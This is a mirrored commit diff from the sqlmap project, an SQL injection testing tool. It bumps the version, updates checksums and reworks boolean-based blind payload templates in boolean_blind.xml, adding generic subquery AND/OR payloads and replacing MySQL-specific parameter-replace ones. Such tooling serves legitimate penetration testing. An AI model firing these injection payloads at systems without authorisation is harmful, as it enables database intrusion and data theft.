mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-26 11:33:47 +03:00
Adding a generic parameter replace payload
This commit is contained in:
parent
8abae02111
commit
cd08d13647
|
@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.2.9.30"
|
VERSION = "1.2.9.31"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
|
|
|
@ -50,7 +50,7 @@ c8c386d644d57c659d74542f5f57f632 lib/core/patch.py
|
||||||
0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py
|
0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py
|
||||||
a7db43859b61569b601b97f187dd31c5 lib/core/revision.py
|
a7db43859b61569b601b97f187dd31c5 lib/core/revision.py
|
||||||
fcb74fcc9577523524659ec49e2e964b lib/core/session.py
|
fcb74fcc9577523524659ec49e2e964b lib/core/session.py
|
||||||
64ae44f8e2b61c49354f3866ba40a926 lib/core/settings.py
|
fa8c27b009a20b604ce2959e7f7d0696 lib/core/settings.py
|
||||||
dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py
|
dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py
|
||||||
a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py
|
a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py
|
||||||
248bd121e0565318e1efaff54aa427bc lib/core/target.py
|
248bd121e0565318e1efaff54aa427bc lib/core/target.py
|
||||||
|
@ -474,7 +474,7 @@ d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml
|
||||||
3059d50cf0cd17a403c17833f0bcd4df xml/boundaries.xml
|
3059d50cf0cd17a403c17833f0bcd4df xml/boundaries.xml
|
||||||
6cffc395cd0280f5c1a84542da6642e5 xml/errors.xml
|
6cffc395cd0280f5c1a84542da6642e5 xml/errors.xml
|
||||||
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
|
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
|
||||||
1d5d2027cabbd1c9ff317d97ae8fe92a xml/payloads/boolean_blind.xml
|
4db0392af190e27f9e2af56a3249c5cb xml/payloads/boolean_blind.xml
|
||||||
0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml
|
0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml
|
||||||
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
|
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
|
||||||
82c65823a0af3fccbecf37f1c75f0b29 xml/payloads/stacked_queries.xml
|
82c65823a0af3fccbecf37f1c75f0b29 xml/payloads/stacked_queries.xml
|
||||||
|
|
|
@ -203,6 +203,40 @@ Tag: <test>
|
||||||
</response>
|
</response>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>AND boolean-based blind - WHERE or HAVING clause (subquery) (Generic comment)</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload>
|
||||||
|
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison>
|
||||||
|
</response>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>OR boolean-based blind - WHERE or HAVING clause (subquery) (Generic comment)</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,9</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload>
|
||||||
|
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison>
|
||||||
|
</response>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
|
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
|
@ -566,83 +600,19 @@ Tag: <test>
|
||||||
|
|
||||||
<!-- Boolean-based blind tests - Parameter replace -->
|
<!-- Boolean-based blind tests - Parameter replace -->
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0 boolean-based blind - Parameter replace</title>
|
<title>Boolean-based blind - Parameter replace (original value)</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
<level>1</level>
|
<level>1</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3</clause>
|
<clause>1,2,3</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison>
|
||||||
</response>
|
</response>
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>>= 5.0</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL >= 5.0 boolean-based blind - Parameter replace (original value)</title>
|
|
||||||
<stype>1</stype>
|
|
||||||
<level>2</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>1,2,3</clause>
|
|
||||||
<where>3</where>
|
|
||||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
||||||
<request>
|
|
||||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>>= 5.0</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL < 5.0 boolean-based blind - Parameter replace</title>
|
|
||||||
<stype>1</stype>
|
|
||||||
<level>2</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>1,2,3</clause>
|
|
||||||
<where>3</where>
|
|
||||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
||||||
<request>
|
|
||||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>< 5.0</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL < 5.0 boolean-based blind - Parameter replace (original value)</title>
|
|
||||||
<stype>1</stype>
|
|
||||||
<level>3</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>1,2,3</clause>
|
|
||||||
<where>3</where>
|
|
||||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
||||||
<request>
|
|
||||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>< 5.0</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
|
|
Loading…
Reference in New Issue
Block a user